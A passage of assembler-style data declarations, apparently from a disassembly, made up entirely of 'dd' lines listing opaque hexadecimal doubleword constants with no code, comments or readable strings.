0C586E770h dd 1BF3E9F8h, 0DCBC36F0h, 2975F9D4h, 14AFA7B3h, 0F84A4A59h dd 0C1120375h, 26D1BC84h, 0E9FFF47Dh, 1C4C2703h, 9F9808A6h dd 7C20C26Ah, 0B2628088h, 0A9B81E55h, 78C600BBh, 598438F4h dd 0CB23829Ah, 0E2074B7Dh, 14D6C32Ah, 189D5E88h, 3F5F28DFh dd 64D7244Ch, 8925D4B8h, 2DF9E79Ah, 47B0D636h, 9FBCA75Dh dd 0AEB143B5h, 45424232h, 41EC7E6h, 0AA6CC148h, 57E8B9CAh dd 7165734Ah, 0EA5D29CAh, 0F437906Fh, 26F3018Bh, 0BE3D38D4h dd 0C9DEFF84h, 73BD2FCAh, 1DC3C04Bh, 5A34819Ah, 0D9ACDED9h dd 0B7D577DAh, 0EDDCC379h, 77BC240Eh, 8230BE72h, 788A633Eh dd 1F77B3C1h, 6143F300h, 608A024Fh, 29518523h, 0B8BCB234h dd 2B589D97h, 0B27DE540h, 29F1EB61h, 33E6BE67h, 0A17C1CBAh dd 0EFBBF50Bh, 72750D39h, 9BAA0BFFh, 0F34AB651h, 863DF891h dd 9D80111Ch, 81B1B17Bh, 7292F01h, 411C9AC8h, 0A0B762A0h dd 0F0C92A18h, 89FD0AB6h, 1CE5AC5Bh, 42E41759h, 277F861Dh dd 8D4ABB2Fh, 2F63F526h, 1C0E2C54h, 3394E3FEh, 276E1DDDh dd 0D68B0DCAh, 7054F3D5h, 0D44D7257h, 631334ABh, 0B8065210h dd 0BAC326B0h, 0F41EE22Ah, 0E9D2E43h, 953445CBh, 245B5C5Ch dd 979A9B63h, 0F0762975h, 0C410D6D6h, 0E620A6EDh, 0F405B870h dd 5868938Fh, 4827E40Eh, 0DCFCBAC3h, 352C12BEh, 2D5C9437h dd 6EBE4176h, 3E24D294h, 7CF3ED8Bh, 2A46B980h, 0C2DDAF84h dd 0EAB9DF39h, 738CAF0Fh, 0B3887ADBh, 0A354D2C2h, 75BC4CC8h dd 88EE7FECh, 0DBCDB66Dh, 0DA194CD1h, 56376846h, 33F246CEh dd 37FF9B6Fh, 0DB699A3h, 3069CC23h, 0B26F6644h, 0DB278C96h dd 0F5A54044h, 0C271B2C8h, 662C5CB9h, 4E3DE052h, 601E6EF9h dd 0B239058Eh, 17DF7F70h, 0F4B6087h, 33571417h, 3031C75Dh dd 22BEE110h, 0D16C9B67h, 38851F42h, 0FA452E60h, 87B3A528h dd 8000E00Ch, 0C4AE875Bh, 5068F95Dh, 0E0E7C2C6h, 732AC104h dd 0E4AAE102h, 97ED4FD2h, 33ED78B2h, 27679DEEh, 5F114904h dd 0FD42DF59h, 6FC96857h, 3C1EE6B0h, 888922E3h, 0B2965451h dd 0ED33152Ch, 9CF6BA1Fh, 0F68F81CBh, 0C0DB521Bh, 3AD25680h dd 1024C3FDh, 0E65F8B65h, 0B9DC2F35h, 0CE553591h, 8CEABD14h dd 9C406FCCh, 5654136Ch, 4F6EAA8h, 0F97BE416h, 0B1BA715Ah dd 0A93E9BDh, 0A164E98Fh, 6C70AFCh, 0FD0D500Dh, 0F433AAD1h dd 624B52E5h, 0A01062EFh, 5A78D26Ch, 0EAD68E34h, 11D9A36h dd 7D76A85h, 75011A5Ch, 83F77C85h, 9ED05327h, 74A55057h dd 64782AF1h, 479A223h, 8693EA1h, 28264496h, 0EB5C587Dh dd 6BE1E103h, 53461551h, 0E99E75DAh, 0B3A948ECh, 24D212B5h dd 0E9A26243h, 0D320602h, 7161069h, 780D757Ah, 0E651316Bh dd 571D3B1Ah, 12850A0Eh, 2F75EF6h, 3DE956F8h, 28D8A232h dd 57D94B4Fh, 3ED058DCh, 2088455Ch, 0F0F1D50Ch, 0FFCBE955h dd 2FB43A6h, 86E7F68Eh, 76CB1409h, 2FBF8D09h, 0C3BA000Fh dd 5144943Bh, 0AAD623C8h, 2C28CEA2h, 1A62418Ah, 0FF0630B3h dd 33817353h, 5259349Dh, 205A2392h, 801E7382h, 1D1406B1h dd 0D020BF35h, 0C324E3C5h, 0D293B973h, 0DD6CB064h, 2A28E2A3h dd 16BFB995h, 0C5D5F930h, 0B64BD58Ah, 2222DAC9h, 5213F999h dd 603644CBh, 0FCCBAF69h, 0DED67AB5h, 0F91B1780h, 0DFAFA981h dd 9EC46803h, 116056E8h, 10D608FBh, 108E5DC1h, 0EAE8ABF5h dd 90135496h, 927B87h, 0BDF8C1F9h, 0BC4781C7h, 0B50FC023h dd 0F8B7B617h, 6F621F3Ch, 0B222701h, 9BE3E61Eh, 1277E75Dh dd 4362D26h, 63BBAF5Ch, 0D3323EEBh, 8703F1B1h, 94F1CEA0h dd 75D4125Ah, 55DD3624h, 0C204921Eh, 31F17767h, 0CA5D4BEAh dd 7451B247h, 6C7A4AD8h, 5E71AB77h, 6DF8044Eh, 7264DCEAh dd 0EBEBE559h, 2D75A19Fh, 4BB70D26h, 0BE149197h, 234AE4A4h dd 4704CEDBh, 0A43F3CC2h, 82B5A8CFh, 376AB3F2h, 0C347711Ch dd 77BCF627h, 0E86FA39h, 82B18A77h, 8396C920h, 0D3869F4Ch dd 0A494C974h, 1B378D1h, 0C1501982h, 741B1745h, 0C061E9D5h dd 71D423Bh, 0A11EB6D3h, 0B51884C1h, 5C3CAEBDh, 0B5C5661Bh dd 55C5B93Fh, 0B643F50Dh, 0A696359Fh, 0F25BF1D3h, 8D9E10ADh dd 8674246Eh, 571A23FCh, 7DA82B85h, 88D0F369h, 7FB8B564h dd 0F1EC329Ch, 0E05D654Bh, 3907CEA5h, 947C48A9h, 0F6040044h dd 20EB98BAh, 106FB32Ah, 0B0312767h, 86EFED52h, 0C0127BC3h dd 0D80E3B8Eh, 0D72E5F5Fh, 0DA7C72A5h, 0BA738856h, 62763DADh dd 0B94E63DAh, 1CDDDA59h, 0C796A9ADh, 0F7DA8AF7h, 6026DEC0h dd 0E98D132Fh, 0F7D513B6h, 0A6342B66h, 0D6992E95h, 0A29585Ch dd 951B011Eh, 0FC07466Eh, 2B7372B2h, 7BE873Fh, 0F5295AEh dd 0BD1031DEh, 3AAED697h, 0EAFF855Ah, 3348CF58h, 828203CEh dd 8A2C837Fh, 0DCB138D5h, 1ADE6289h, 88C741C4h, 0BEA7522Bh dd 7FE60B38h, 0C7CADB88h, 1A0DC40Ah, 168A6CF9h, 0AB8734EAh dd 9B1DC321h, 59CCF92Eh, 39404499h, 953B7D4Ch, 1ED2A7B8h dd 469718DCh, 599F673Ah, 0CDA07C5Bh, 488E7308h, 0CAA7C4ADh dd 0A1065001h, 2B1E14E7h, 182FE9D9h, 4B7B9444h, 6700432Dh dd 0D078FA5Bh, 39860150h, 0DF651CF3h, 21419ABh, 988D0EA4h dd 0A4C6F09Eh, 400C5FB1h, 40CE5E2h, 6D48F3DAh, 8E3BF3CDh dd 0D9CB4658h, 6F649C3Eh, 9ADBEF6Eh, 29C63F55h, 0DBC3ECFDh dd 0D6062327h, 0D643277Dh, 0D55419FAh, 0FAB891BDh, 3C2B3C3h dd 0B2521B2Fh, 359B520Bh, 0FD09B451h, 68D7CA10h, 0BE7B0EC3h dd 0D6974349h, 0CFF8FF63h, 0F345579Eh, 0D69F4882h, 0B3FAB02Bh dd 459CF890h, 598BC3FEh, 31011D6Ch, 170968B1h, 0D256B155h dd 4714D221h, 8361CDFEh, 5379CFFDh, 0B3BFA802h, 8B00CEFBh dd 0EE94A441h, 9E1A1AF6h, 1CDECBA9h, 51659786h, 1C8D7A10h dd 0DCD86708h, 8DBAA453h, 3452058h, 0A433C642h, 264954E5h dd 64D90DFCh, 0B5940743h, 0C35F91DDh, 0FF5EAD26h, 0BDFDD1A1h dd 0AE7A0429h, 80420BA6h, 0AC9D8766h, 3A7C813Fh, 51101E7Eh dd 5228B525h, 0A5C07172h, 0EA6E2121h, 9D4CB721h, 9AF79354h dd 0FC080B99h, 0C1D9EA93h, 411F6640h, 645A4846h, 0F053D5B9h dd 305DA856h, 0DC7AC8E6h, 0DAC0A213h, 0F1F92C26h, 1594FC11h dd 0CABD543Fh, 9847F91Dh, 0C2F245CDh, 0F9E20994h, 0B01B21C9h dd 0CC8E583h, 99255C77h, 0AAD81BBDh, 0D6452FE4h, 9B697691h dd 0D113C2FCh, 0C39C2302h, 0A5C2B389h, 910D1242h, 6BC178C3h dd 0C971BFA3h, 658DBF81h, 6A0F40Eh, 8CD23CC7h, 998B4D82h dd 4777802Fh, 344B1414h, 68F80EFCh, 0AC6A2DC9h, 96CF2D9Ah dd 0F4D54618h, 0BE1E0144h, 96E6D79Bh, 914677B4h, 0EB182F88h dd 54C84D75h, 0DD224EC0h, 0ADBC2EFh, 805D8BA0h, 8516F61Eh dd 75415281h, 6EE916CEh, 6D79488Eh, 2105D5CDh, 28B88F6Eh dd 0EE6A126Ah, 8976F0F5h, 1AAAF5B3h, 99229AD8h, 0F4424423h dd 0BC852F43h, 4C6E0D7Bh, 0DFD6D8BCh, 4D081CF7h, 25956C67h dd 0C089B793h, 2E5E12DCh, 0FE22D836h, 125B900Ch, 0F331A265h dd 9393E9EAh, 913FFEF6h, 43A97F13h, 135E356Ch, 0B007C95Dh dd 0D092BC8Ch, 5CCC03C7h, 907AA227h, 422CFDDEh, 763BD637h dd 0C1A71A25h, 0A71D9AD3h, 0D0867CC4h, 0E7E74FEEh, 1E32DD9Dh dd 20DBD8F5h, 0CBD36F56h, 3A494ECDh, 0E548B214h, 33938780h dd 15296856h, 6095DC9Eh, 0AE0CBA8Dh, 139C45CFh, 4C831873h dd 39403622h, 0C1A0AA3Ch dd 0F5BA83E0h, 4ECF2446h, 0DCE74123h, 0BAEFA66Ch, 1E47A6E5h dd 69A689C3h, 0F89FDA9h, 73C6AB2Ah, 70699EA1h, 0AA225C49h dd 1949604Eh, 85522335h, 78006A8h, 64D7A419h, 551B55E0h dd 7705AA3Dh, 7A0DAE43h, 8181D45Ch, 0C88DCA52h, 0ADBB102Eh dd 702D3592h, 0A8BC0AABh, 0FF0F7891h, 0CA8A7DA2h, 795BC113h dd 1594C165h, 0BFC5C6BEh, 0E6289FC0h, 0CD05CCFAh, 99CA53D7h dd 75FC88CBh, 12570BD8h, 5545130Ch, 0E2F0192Bh, 0F2396F31h dd 987F7E71h, 85844EB2h, 6A706BCh, 0C1344552h, 62D7C80Fh dd 0D349151Fh, 0F8038F06h, 32F2B02Ah, 0CBE9FFD6h, 5FEDD13h dd 56D38A15h, 76237E3Fh, 389ADFCh, 0B7EE50CAh, 3CFB0278h dd 80F254E2h, 9D0D0F59h, 5306E109h, 8FEE2970h, 4BB77A3Ch dd 930AC64h, 558E25BAh, 2D72711Bh, 0E7305375h, 491F2475h dd 0EAA0BF76h, 36644CEBh, 0BEDD5366h, 5BABA6C0h, 975C402Ch dd 491DA5DCh, 0AC25B5D6h, 0F1E3F86Fh, 0A8ED9836h, 0ACCB658Fh dd 5EE52D5Dh, 279D5E73h, 0B5C7EDA2h, 0D7AB617Ah, 0A9CD16EEh dd 0F588318Eh, 8DA315FBh, 0DDF3EB4Bh, 0E3D0D3E0h, 0CE3AB64Bh dd 9980861Ah, 7C51483Ah, 0CF7F797Dh, 7C770489h, 382FB821h dd 253344A0h, 0BF89F093h, 0C23178ABh, 1207929Ah, 46EF69BFh dd 0FEF74BAh, 6C755E22h, 33E6C3D2h, 0F089FFA3h, 0F8D79302h dd 2EE86F5Dh, 7A2C9F2Ah, 0E5BE6EBDh, 0A8CA6C09h, 198FD0CBh dd 8A03381Ch, 9D6EAF19h, 0EA7E06A3h, 4C098306h, 0AF5A4DFDh dd 108C4FFFh, 28F398E9h, 0A4527AC7h, 0DD06E3AFh, 7C138360h dd 9C05E67Ah, 39A8EA29h, 14B7DB52h, 0C4F2042Fh, 0D8B3DC0Dh dd 6CC211CDh, 9F9B1FCAh, 9941AC34h, 0A1F5BEBAh, 2C385E23h dd 0BE0C74E5h, 0B95B6943h, 0ED94C9CAh, 0CD8E3570h, 0E1B3D839h dd 96725A6Ah, 0BDC42318h, 3623D8CBh, 5BB49DD3h, 9E14231Bh dd 5AE80EAAh, 0E5D0A693h, 0F948A1B1h, 7CAE6E4Eh, 9BCDE8F7h dd 0EB147122h, 1E5CDDA2h, 0D9BB6F7Ch, 99C86F4Ch, 0EE43876Dh dd 3B6812h, 22BD0E79h, 0B60DE763h, 81564548h, 726F91C9h dd 91996E3Ah, 579B0360h, 0D778085Bh, 8F54DC42h, 0F19D5F6Eh dd 21DC716Ch, 6DB6580Fh, 0BF37A11Ah, 354F8575h, 0EEADFDA0h dd 7D457B3Ch, 4AE34FABh, 0FCB282BEh, 4C6DDEE3h, 0BF318058h dd 0A1051EE8h, 6E913805h, 8CD1FD14h, 0BA531E54h, 620C6A2h dd 17F51DD3h, 14960F40h, 4CC7AD8Ch, 0E769064Dh, 8D05F2EDh dd 0A63DDD32h, 18919FD6h, 54A71BDBh, 976D1D92h, 4164293Fh dd 423E7556h, 0AA123491h, 346016D9h, 0E8140607h, 18007D15h dd 1F394F41h, 0A2A65385h, 0D21FB36Dh, 66D85390h, 147F473Ah dd 8752761Ah, 0D26AD67Fh, 8A9E3618h, 792BFEB7h, 5B017CEAh dd 0EC3A15E6h, 482E7087h, 7DB491B6h, 5834D28Ch, 362042F1h dd 9B70578Eh, 0F982A733h, 93554B68h, 870EAE1Ch, 74F3FC53h dd 410F62A5h, 52F295B1h, 69C1D09Ah, 0B320481Fh, 0A887D8EAh dd 1CDAAE52h, 0B91109ECh, 1F246B5Eh, 83B00735h, 10E2AA87h dd 3AD2CAD4h, 2AF2482Dh, 76131A5h, 22E1ECADh, 0A463465h dd 7EC335DFh, 0C7803827h, 56C3321Fh, 85AC096h, 5B55AF3h dd 0BFACACFh, 1AEC0133h, 9F6B18Bh, 8A6B1611h, 3DB3719Ch dd 11CC82C5h, 8D516406h, 6164A161h, 0B48EBC97h, 0F3D513FBh dd 836286F5h, 81369579h, 802EB229h, 4582E6A4h, 0A870CAF2h dd 2018E638h, 4CAA9164h, 0BA9946D2h, 110ED162h, 9E477D2Dh dd 1F82D62Dh, 0D366F8BDh, 295329E6h, 717DF1D6h, 0C7B2E352h dd 111DEA35h, 556A2FF6h, 5D7CB75Ah, 0B5AA2D5Dh, 57AB7B0Fh dd 699257A3h, 0C7797AF4h, 0FC94E464h, 677E0E69h, 0F7188666h dd 3A6B207Ch, 99B7943Eh, 91FD829Ch, 0D5F2A290h, 8B229C7Eh dd 0ADC0E0F5h, 2D48672Ah, 19DAAE2Fh, 8FA34F85h, 3B5D2452h dd 39830D73h, 0ECE612EBh, 72D9D3CCh, 3A129ACEh, 1FDC05CAh dd 5F9FF379h, 67012822h, 27C4B1C9h, 0C65C11CAh, 654659B2h dd 0AD3042A2h, 62E2D7D5h, 0B59C6D10h, 2D014765h, 2AE00E3Dh dd 3934D859h, 0CBEA2165h, 56D375C6h, 0D66F994Eh, 0D6539466h dd 25EE113Fh, 0DE75B90Dh, 0BAAB5B9Fh, 74DB8A51h, 574CF2A8h dd 0F1D96D6Dh, 1DDBC0F0h, 7690636Eh, 85CA059Bh, 0DDE584D9h dd 0A01B0F05h, 63078575h, 95EB076Bh, 917D1F53h, 8A935A7Ah dd 0C706B31h, 0A02C38E7h, 2348308h, 0A03FC8ABh, 0BD1285CBh dd 57987ED2h, 0CFFECDA0h, 94E1936h, 0D02414A9h, 5642EB17h dd 0D47274BAh, 9DFB4A05h, 704F23D9h, 0E790BAE9h, 0F52BDE3Dh dd 65D20751h, 15AA8175h, 857C78B9h, 0EF304A13h, 41D44899h dd 859C6249h, 70DD0F67h, 4993E8CBh, 0B77322AFh, 0F119E070h dd 0FC70B2D6h, 0F25E51D7h, 8AE6DD54h, 0EB8D3AE6h, 540417E2h dd 0E72E0034h, 2F370050h, 0D28CC6A6h, 0A93E1346h, 0D755F384h dd 6B3DBAB3h, 9C183172h, 6346A41h, 26447448h, 0DA35D322h dd 0F0206FF2h, 97761B32h, 0BC58C664h, 70529CDDh, 38B46EDBh dd 5374210h, 0AE8BAA6Ch, 72BB958Dh, 2A76C2ABh, 6F47DC96h dd 21B7AA93h, 0E043788Bh, 682C7686h, 0DF9E3496h, 0A90AAC96h dd 0FB706978h, 13821A47h, 1AACF769h, 36F404E2h, 29D05470h dd 9E3C3752h, 916EE34Fh, 6B8D705Ch, 54ECEF71h, 62F30ABAh dd 0E5526965h, 0F2B6CC16h, 0F967D14h, 56E894DBh, 0AC97E0BFh dd 0F78B3F47h, 0C6A3EAB6h, 2D8407BAh, 0FE908462h, 7F6BDB3h dd 0A01F49E6h, 0D71AF44h, 0D48F6155h, 0BD316F3Ch, 827452FCh dd 0BBCE065Bh, 15CF0D55h, 0F3D2EEC9h, 764C71E2h, 957F3199h dd 34CC2C68h, 881BE0BFh, 188B5E1Fh, 56A9FA14h, 5948C083h dd 0ECFCB7DCh, 46E54464h, 1DDA2089h, 38426CC1h, 0ACD448D0h dd 0CC3DCC2h, 988EFD2h, 0E3FCA6B1h, 0BB5EECEDh, 209F25A8h dd 826733CCh, 29CD92E2h, 6E7E01D2h, 0D56036D3h, 6AC75075h dd 0C585C40Fh, 8969B0E0h, 966A63D6h, 3E59EC2Ah, 752BFD3Bh dd 7D7B2907h, 350B3955h, 62C10D32h, 1ECFD48Ah, 0FDFDFA41h dd 62706FEEh, 0DFC7580Ah, 0B6F3A21h, 0DB99182Eh, 0BC37EC30h dd 96F3D62Fh, 99EE50B7h, 57979BD1h, 56CCB16Ah, 0E8E5D435h dd 0E74DCEE5h, 87CD584Ch, 0A43DE3F7h, 0FB10C55Dh, 0A3E7DC23h dd 8C832F7Dh, 5CB90750h, 0BC38050h, 7133DA3Bh, 6E6AFD34h dd 89F2041Ah, 0EFF113BEh, 15FC2FE5h, 14854133h, 0A3BA0F50h dd 9C5553C5h, 43C4616Bh, 0CF30B107h, 71262630h, 0DE91642Ch dd 804BFAAEh, 0D9418A7Fh, 0F29697ACh, 21DF9BF2h, 30C2C362h dd 0BB0398F7h, 645713A4h, 0AC0AD5F2h, 4485D7E5h, 4CD8D7B0h dd 4310DE66h, 2D79DB97h, 26CD0CDFh, 7B8F0E9Eh, 0F4CFA3B0h dd 791CBEA4h, 4B514B1Ch, 0F6B2130Ah, 0AD4F103Bh, 0B4A758E5h dd 9C3BFB3Dh, 7DA19E35h, 8E4A559Ah, 2C6407EAh, 29ED1DA5h dd 0BC82D59Dh, 0ED1F1BE6h, 7966BF8h, 5831847Dh, 267F9EBFh dd 7AA64F9Ah, 0C893F707h, 7733B311h, 7AC8AA28h, 94303DC4h dd 4337F12Dh, 84A02A6Eh, 6BB13532h, 6ECB1CD5h, 2E87A5DCh dd 0A4D8ECF6h, 9E68929Ah, 8E5DAA3Ch, 987D2114h, 1A4A6F10h dd 0EAAD6739h, 0D8F3FCB0h, 2691526Bh, 0AA15A814h, 5571FE71h dd 3CD91212h, 802FC195h, 4C0C753Eh, 0B3332951h, 8C11185Ah dd 5A9B304Dh, 88D85197h, 0E89444BFh, 0CA39F9F6h, 0B3C15FD2h dd 0B75E3C2Dh, 1E441BC3h, 331AE6E5h, 5136C4D0h, 823FF404h dd 0C7CB4896h, 0B86BA3FBh dd 13EF8ABBh, 0F449CDD6h, 0EDE4C460h, 447FBC23h, 9D73B70Ch dd 0B55C7B18h, 5EACA887h, 5DE3C387h, 0D31F8AFBh, 3ED15CC6h dd 7EFFDCA2h, 23D1F9B2h, 0EF16B8D8h, 86404CC5h, 9B4C10BAh dd 889396BBh, 4FCF7299h, 0F331C4A2h, 768DC386h, 10FCB243h dd 3851A274h, 2A0094B3h, 0F31DCEEAh, 85B3B682h, 6E0894CDh dd 0FD014711h, 3E7EB408h, 78C6ACA5h, 2E05BAC8h, 29EBB84Fh dd 7E74F5A5h, 72C74A6h, 3C12E2B7h, 5B4B71D5h, 55B549EBh dd 0FF96144Eh, 0BB50DF6Fh, 15C68692h, 0ED6965FEh, 0D7C4471Dh dd 0A26515E2h, 16A0871Ch, 0F9BD7851h, 226844E4h, 592B440Dh dd 0E6F848E1h, 0C13300CAh, 0A99A3FA5h, 117F8513h, 0E9A88ADEh dd 34FA1AEAh, 72CA0190h, 5C17F2B6h, 549A5B4Fh, 0BFB75FEEh dd 7953F9F5h, 0D58922BBh, 0A6B968E6h, 0E8C1DBB8h, 0D9F0ECDh dd 84C90425h, 92AFAD2h, 0F08DBB78h, 0C309757Bh, 0E596858Ch dd 58D29Eh, 9EFC07Fh, 0A42EC86Ch, 6222E98Eh, 707BB985h dd 31ADD8DAh, 4DDC859Bh, 0C50FBF3Ah, 3872549Dh, 8707E3D9h dd 0B6A5E7D6h, 5A1A3659h, 931C1748h, 0E5BECE2h, 4581A3F5h dd 49F1D205h, 63A0E385h, 71C1A678h, 0C01E9A5Ah, 7DEC3FAFh dd 29A2608Eh, 0BB27759Fh, 0D62440D2h, 9E63942Fh, 21C14476h dd 0CECBECECh, 243A0489h, 0D07A0383h, 0F0BEFFFFh, 0DBB17AE1h dd 62679617h, 8A58A2D2h, 0DA540D8Ch, 21591BE0h, 0F13CD771h dd 8DE2A5B3h, 0EC3AB9E1h, 0D16109BFh, 0DF580E41h, 0A6424D93h dd 97C89F1Eh, 0C61D5B33h, 0C495EBF2h, 0DAE7C35Eh, 92F93FC4h dd 81AD9D5h, 6223F10Bh, 6F540A9h, 4A0B21E8h, 26A780E2h dd 0F956CC06h, 0A5C75E8Ah, 0FC5D2CD2h, 2CA2E237h, 0D4BDBCF7h dd 75D3A7FDh, 4FFCE5ADh, 0F1B2E6A3h, 0E66F1F9Ah, 97421003h dd 93F7802Dh, 814A2AFBh, 3FEAC9CAh, 4ABA8FB3h, 562D5962h dd 9C6A9137h, 836E3411h, 99D24DD6h, 0A096384Ah, 37AC5714h dd 0AC61950Bh, 0D13A5A39h, 0F95BD337h, 0F9A607Dh, 0F337EB68h dd 393F72Ch, 7C8EEA78h, 0F7B50D15h, 0F32F595Eh, 1851F11Ch dd 6927029Fh, 0B08C5228h, 0CDEAEF26h, 6DF88D49h, 29F924CEh dd 7FE0D572h, 3FFF27C4h, 3362FFA7h, 6550E7E3h, 9E8A6D0Ch dd 7DB6A015h, 2F1A02E4h, 0EB4924FAh, 11FFFBDDh, 1E6A1489h dd 62F0F65Bh, 76EA79BFh, 9AA9A1CEh, 43F6931h, 8D145C19h dd 0FC2EAC7Eh, 357DDEFAh, 0D8D84EB3h, 11F6AC62h, 13A32F07h dd 0F957C34Eh, 0CF20B3ACh, 0BA68C44Bh, 0D680F262h, 0FCFECE36h dd 0C290650h, 37F0D9Bh, 2F99F6CDh, 646B3D7Fh, 9E062ADBh dd 0D13D10D3h, 0FCE86E14h, 0B8AAA2B8h, 1C9CD75Dh, 9259C305h dd 0F3B9FC68h, 1871D03Dh, 91914979h, 0FE4A3727h, 8A828F29h dd 57C40CF9h, 0BD652109h, 0E6DC974Fh, 2D39D347h, 39E292FCh dd 4C67C12Bh, 18E0D0F3h, 2E7A4C78h, 2BA32FA7h, 0AF5BEDC3h dd 0E9D780C1h, 3BBA81CFh, 6BCE03D9h, 2C691038h, 51FBB12Bh dd 6724463h, 0CA49D596h, 0E9EEB739h, 0CC131D00h, 0B43C320Fh dd 704B4945h, 5335CA5Ah, 7ECF6044h, 0D66D6744h, 7C11D5EDh dd 61FF41A9h, 0D2281E2Dh, 0AC07977Bh, 0DEF764F2h, 5C08FE2Eh dd 516B0C25h, 0A3CB5837h, 477EB863h, 2F648FA0h, 0F7E453C8h dd 0C21F2B35h, 0AD42A49h, 0FDAEEACAh, 0C4EE9389h, 218524C3h dd 541A1B79h, 58587150h, 5F4796D8h, 13305457h, 306A548Eh dd 1612FA2Fh, 0BB42AC7h, 0A80D4BFAh, 30F982EDh, 25213CA7h dd 4C423296h, 8A89E1C9h, 320729E6h, 0EEFA0C8h, 2DD1DF75h dd 79CF27D0h, 0ADAAD770h, 1845194Ah, 7556A6FCh, 0AC386C29h dd 16486F58h, 861A2D60h, 67BD74C8h, 74829E11h, 84875F2h dd 0C195EA73h, 6C02054Fh, 0DBC62C63h, 69769931h, 0B83AC86Ah dd 2BABE15Ah, 8A7F38C1h, 3AA354E3h, 8CD2C597h, 680D1DD7h dd 0C8CE374Ah, 8059B21h, 88C54A4Dh, 0EA8BF3D1h, 0E343B48h dd 893CF312h, 0D96CA9B0h, 0AD068DB8h, 1D728532h, 71899E4Dh dd 9D92C5C9h, 7C1868A1h, 55B55463h, 70156F08h, 90709C79h dd 15834452h, 0A1CAC23Fh, 1FB721C1h, 0DE76A578h, 3684EF2Eh dd 0B083DC7Bh, 0A79E906Dh, 9A6F1D28h, 92B92EDFh, 0E78586BCh dd 465D2ACBh, 0FC1D9FB8h, 0C2C5D930h, 6023985Ah, 0E78FEFA8h dd 0CA5E8FBCh, 21FF8465h, 5529300Dh, 682D2AEh, 1158FA18h dd 1FF3D149h, 0B20FA324h, 348BD070h, 5628C046h, 610304ECh dd 0C182B2DDh, 6B7650E7h, 7F1AE831h, 2E94DB81h, 0B8B4CEFDh dd 0B4B25BBEh, 42A76E29h, 5528D3B6h, 0E79F5042h, 2045DB2Bh dd 0B5106BE1h, 0BCC945FCh, 6309C97Ch, 9EC8BE82h, 355EE7Dh dd 2A85F04Eh, 6FDD4667h, 0CE871179h, 0D27BBE51h, 0E8171633h dd 0C360C739h, 0C2D5DC0Bh, 8BE20814h, 0D369B262h, 5685969Dh dd 0E6DFD5DBh, 0ECC9B7C7h, 9F02C914h, 83E1EAC1h, 0C7C56F67h dd 687CC58h, 86CCF572h, 0D6C2AE87h, 3D206657h, 818A3910h dd 2CD02B34h, 8681219Ch, 72EDD2F7h, 0C6ABCF6Dh, 0E3BA7DBEh dd 818738EFh, 5A3A63E0h, 875226FFh, 15F2D76Fh, 2CCCAA8Ch dd 4D7DBAF2h, 10E25876h, 9A4AED1h, 0CC584831h, 37015F6Bh dd 0FFF00FF8h, 6FF809C4h, 1952F9D5h, 2B850B69h, 0ACD58B88h dd 8CDF55E7h, 0D3AF4F12h, 0C54037BCh, 458D63E6h, 85CD33C4h dd 0B2D4D3FBh, 0B834B3FDh, 0DED72113h, 6F09EBAAh, 3930ED7Dh dd 0C7CE5531h, 48AF9E6Ch, 0A566D07Ah, 0AD77338Ah, 945F1A4Bh dd 98C0BE09h, 35A2DA94h, 0F38AEFFEh, 2D559BCDh, 3CFBA625h dd 5530D214h, 327C3ED6h, 8362AD8Bh, 84DDAD2Eh, 0A183040Eh dd 0F2943263h, 730B9504h, 352335D3h, 23D660EAh, 4D8316DCh dd 7FA6AC3Eh, 841C856Bh, 2EFADE68h, 0BC4EEC3Fh, 0ADE99AAEh dd 0F8710539h, 8FB4DFD0h, 0E8BF1EC5h, 6C171CAFh, 0FF913B25h dd 1F1B935Dh, 1D6A896Bh, 240810A0h, 28FF3F7Bh, 7CDE88CDh dd 0A57D037Fh, 80698673h, 55F54CDBh, 1BE7F12Bh, 75044770h dd 0FD77C467h, 18A43299h, 0E279BDCBh, 0C033BA15h, 0DE312AE6h dd 6F2FE512h, 0A525BA36h, 0B17FF442h, 0FF805EBBh, 7F7712BDh dd 96294E13h, 7829ECCDh, 1777176Ch, 3F271E6Ch, 0F516C602h dd 5F266FEBh, 797558E7h, 215D98F6h, 6E179B03h, 0B1696461h dd 496DDF35h, 4996E74Ah, 6F7DAF6Ch, 4467A61Dh, 0D693CEA8h dd 2AF1568Bh, 26314CBDh, 5EE30A1h, 0B4E35253h, 0D2C4A02Fh dd 18DC3804h, 47B7E38Eh, 0E619B682h, 0A1015E48h, 3859F4A8h dd 0FC67FFDBh, 0DC58CAF0h, 57D6C904h, 0D489D81Eh, 8C751BCEh dd 0C07518DAh, 7E464127h, 5066E805h, 190AC7DBh, 0A434DE5Eh dd 0F1296FF3h, 4D108F03h, 0D5E9FFCFh, 0B32263A2h, 3717C341h dd 6C498C5Bh, 0EA4CE79Ch, 0FA3134FAh, 0DA8EAC4h, 16132C89h dd 0E774E843h, 71F70Dh, 29CC15F4h, 8BBA572Ah, 0EA010A6Dh dd 73CFE570h, 15210453h, 0D3E7FE7Bh, 7096CE54h, 0A6739704h dd 8FA7448Ch, 0C67BB5C7h, 3ABE1F9Dh, 0B710EA87h, 2F8780FCh dd 9A64BF0Fh, 0DC4A030Ch, 9720A305h, 0C2099CE8h, 0BFEC0200h dd 316501ADh, 0CE0F6463h, 0F0166B3Ah, 35C6796h, 60717017h dd 8C90487Ah, 21292E61h, 398A9A0Ch, 0ACF0D3F5h, 7C170ABDh dd 95638412h, 9A5327C3h, 45833773h, 267FF951h, 3481AE68h dd 0D97B7A66h, 77BC2115h, 6B1FDDB0h, 566734E1h, 3A9479ECh dd 57BD5F46h, 0D3DE19Bh, 0BE8DBF80h, 11C97251h, 6F7F1200h dd 65C4CE2h, 9A684ABFh dd 5BFE3649h, 60F2A05Ah, 9899F8FEh, 0F942C3BFh, 0CD49E02Bh dd 17043E9Ch, 30748D21h, 48DBC554h, 18CD9F1Dh, 0FAA4A4CEh dd 0FB98845Ch, 67625C1Fh, 375C0355h, 0F9C36E03h, 2A1752E5h dd 92E037F1h, 0E309F499h, 0D97286B0h, 0FC9FEF04h, 0B7CE8C87h dd 0CFF5150h, 200754E0h, 74A70171h, 0DA238C64h, 0F779571Dh dd 48F71EF5h, 0B18B9C0Fh, 850D8DA9h, 337AC3DBh, 39CCDE1Ah dd 66F031CCh, 0EF19B7E9h, 8F5B5DDFh, 5AB1BEF3h, 0F1395F8Dh dd 0BF4A6398h, 0C3B0EB3Bh, 0F137EDB6h, 188E7BC2h, 0D7C6BB8Bh dd 90F8ECC7h, 3F090C05h, 17985119h, 6EDC2A2Dh, 0BEEB73A2h dd 7C0C5809h, 0F76AE434h, 769267AFh, 1DBDB7FAh, 0BFCE865Dh dd 0A48BC9E2h, 576B968h, 